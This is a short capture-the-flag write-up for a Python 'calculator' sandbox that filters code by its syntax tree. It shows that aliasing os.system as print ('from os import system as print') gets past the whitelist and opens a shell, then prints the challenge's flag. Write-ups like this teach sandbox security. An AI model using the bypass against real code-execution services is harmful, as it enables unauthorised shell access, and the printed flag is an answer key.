Finance Calculat0r 2021

Description

We launched a scriptable cloud calculat0r for all your financing needs!
nc challs.rumble.host 42323
Of course its Open Source
finance_calculat0r_2021.tar.gz
1KB
Binary

Solution

The program allows you to write a Python program to be executed. It checks the AST of the program and only the print function is allowed to be called.
WHITELIST_NODES = [
ast.Expression,
ast.Expr,
ast.Num,
ast.Name,
ast.Constant,
ast.Load,
ast.BinOp,
ast.Add,
ast.Sub,
ast.Module,
ast.Mult,
ast.Div,
ast.Assign,
ast.Store
]
​
WHITELIST_FUNCTIONS = [
"print"
]
​
...
​
def check_code_security(code):
# Decode for parser
s = code.decode(errors="ignore")
tree = ast.parse(s, mode='exec')
for node in ast.walk(tree):
if type(node) not in WHITELIST_NODES:
if type(node) == ast.Call and node.func.id not in WHITELIST_FUNCTIONS:
raise ValueError("Forbidden code used in type '{}'. NOT allowed!".format(type(node)))
But note that module imports are allowed. We can simply import a function as print to bypass this filter.
from os import system as print
print('/bin/sh')
After getting a shell, we can find the flag in /opt/flag.txt.
CSR{OhManSandiNeinNeinDasMachtManNicht}
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